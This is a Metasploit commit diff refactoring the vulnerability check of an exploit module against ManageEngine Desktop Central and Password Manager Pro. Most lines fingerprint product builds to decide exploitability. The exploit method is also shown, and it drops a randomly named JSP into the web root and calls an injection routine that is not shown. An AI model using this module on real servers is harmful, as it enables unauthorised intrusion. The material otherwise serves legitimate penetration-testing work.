Refactor check method

This commit is contained in:
jvazquez-r7
2014-08-22 11:05:36 -05:00
parent ced65734e9
commit ecace8beec
@@ -118,88 +118,51 @@ class Metasploit3 < Msf::Exploit::Remote
register_advanced_options(
[
OptInt.new('CHUNK_SIZE',
[true, 'Number of characters to send per request (< 7800)', 7500]),
[true, 'Number of characters to send per request (< 7800)', 7500]),
OptInt.new('SLEEP',
[true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
[true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]),
OptBool.new('EXE_SMALL',
[true, 'Use exe-small encoding for better reliability', true]),
[true, 'Use exe-small encoding for better reliability', true]),
], self.class)
end
def check
# Test for Desktop Central
res = send_request_cgi({
'uri' => normalize_uri("configurations.do"),
'method' => 'GET'
})
check_code = check_desktop_central
if res and res.code == 200
if res.body.to_s =~ /ManageEngine Desktop Central 7/ or
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7
# DC v7 uses the MySQL database
print_status("#{peer} - Detected Desktop Central v7 (MySQL)")
return Exploit::CheckCode::Appears
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ or
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8
build = $1
if build > "80200"
print_status("#{peer} - Detected Desktop Central v8 #{build}")
return Exploit::CheckCode::Appears
else
print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)")
end
else
print_status("#{peer} - Detected Desktop Central v8 (MySQL)")
end
# DC v8 < 80200 uses the MySQL database
return Exploit::CheckCode::Appears
elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ or
res.body.to_s =~ /ManageEngine Desktop Central MSP 9/
if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9
build = $1
print_status("#{peer} - Detected Desktop Central v9 #{build}")
if build < "90039"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
end
if check_code == Exploit::CheckCode::Unknown
check_code = check_password_manager_pro
end
# Test for Password Manager Pro
res = send_request_cgi({
'uri' => normalize_uri("PassTrixMain.cc"),
'method' => 'GET'
})
if res and res.code == 200 and
res.body.to_s =~ /ManageEngine Password Manager Pro/ and
(res.body.to_s =~ /login\.css\?([0-9]+)/ or # PMP v6
res.body.to_s =~ /login\.css\?version=([0-9]+)/ or # PMP v6
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/) # PMP v7
build = $1
if build < "7003"
if build < "6800"
# PMP v6 < 6800 uses the MySQL database
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)")
else
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
end
if build >= "6500"
# if it's a build below 6500, it will only work if we have a JSP compiler
return Exploit::CheckCode::Appears
end
else
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
return Exploit::CheckCode::Safe
end
end
check_code
end
def exploit
@my_target = pick_target
if @my_target.nil?
fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
else
print_status("#{peer} - Selected target #{@my_target.name}")
end
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case to avoid polluting the web root any more.
if @my_target['Platform'] == 'linux' and payload_instance.name =~ /windows/i
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
end
if datastore['WEB_ROOT']
web_root = datastore['WEB_ROOT']
else
web_root = @my_target['WebRoot']
end
jsp_name = rand_text_alpha_lower(8) + ".jsp"
fullpath = web_root + jsp_name
register_file_for_cleanup(fullpath.sub('../',''))
inject_exec(jsp_name, fullpath)
end
def pick_target
return target if target.name != 'Automatic'
@@ -531,30 +494,110 @@ class Metasploit3 < Msf::Exploit::Remote
handler
end
def exploit
@my_target = pick_target
if @my_target.nil?
fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.")
def check_desktop_central_8(body)
if body =~ /id="buildNum" value="([0-9]+)"\/>/
build = $1
if ver_gt(build, '80200')
print_status("#{peer} - Detected Desktop Central v8 #{build}")
else
print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)")
end
else
print_status("#{peer} - Selected target #{@my_target.name}")
print_status("#{peer} - Detected Desktop Central v8 (MySQL)")
end
# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
# Fail if this is the case to avoid polluting the web root any more.
if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/
fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
# DC v8 < 80200 uses the MySQL database
Exploit::CheckCode::Appears
end
def check_desktop_central_9(body)
if body =~ /id="buildNum" value="([0-9]+)"\/>/
build = $1
print_status("#{peer} - Detected Desktop Central v9 #{build}")
if ver_lt(build, '90039')
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
end
# Test for Desktop Central
def check_desktop_central
res = send_request_cgi({
'uri' => normalize_uri("configurations.do"),
'method' => 'GET'
})
unless res && res.code == 200
return Exploit::CheckCode::Unknown
end
if datastore['WEB_ROOT']
web_root = datastore['WEB_ROOT']
if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
res.body.to_s =~ /ManageEngine Desktop Central MSP 7/
# DC v7 uses the MySQL database
print_status("#{peer} - Detected Desktop Central v7 (MySQL)")
return Exploit::CheckCode::Appears
elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
return check_desktop_central_8(res.body.to_s)
elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ ||
res.body.to_s =~ /ManageEngine Desktop Central MSP 9/
return check_desktop_central_9(res.body.to_s)
end
Exploit::CheckCode::Unknown
end
# Test for Password Manager Pro
def check_password_manager_pro
res = send_request_cgi({
'uri' => normalize_uri("PassTrixMain.cc"),
'method' => 'GET'
})
if res && res.code == 200 &&
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
(
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7
)
build = $1
else
web_root = @my_target['WebRoot']
return Exploit::CheckCode::Unknown
end
jsp_name = rand_text_alpha_lower(8) + ".jsp"
fullpath = web_root + jsp_name
register_file_for_cleanup(fullpath.sub('../',''))
inject_exec(jsp_name, fullpath)
if ver_lt_eq(build, '6500')
# if it's a build below 6500, it will only work if we have a JSP compiler
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (needs a JSP compiler)")
return Exploit::CheckCode::Detected
elsif ver_lt(build, '6800')
# PMP v6 < 6800 uses the MySQL database
print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)")
return Exploit::CheckCode::Appears
elsif ver_lt(build, '7003')
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
return Exploit::CheckCode::Appears
else
print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}")
Exploit::CheckCode::Safe
end
end
def ver_lt(a, b)
Gem::Version.new(a) < Gem::Version.new(b)
end
def ver_lt_eq(a, b)
Gem::Version.new(a) <= Gem::Version.new(b)
end
def ver_gt_eq(a, b)
Gem::Version.new(a) >= Gem::Version.new(b)
end
def ver_gt(a, b)
Gem::Version.new(a) > Gem::Version.new(b)
end
end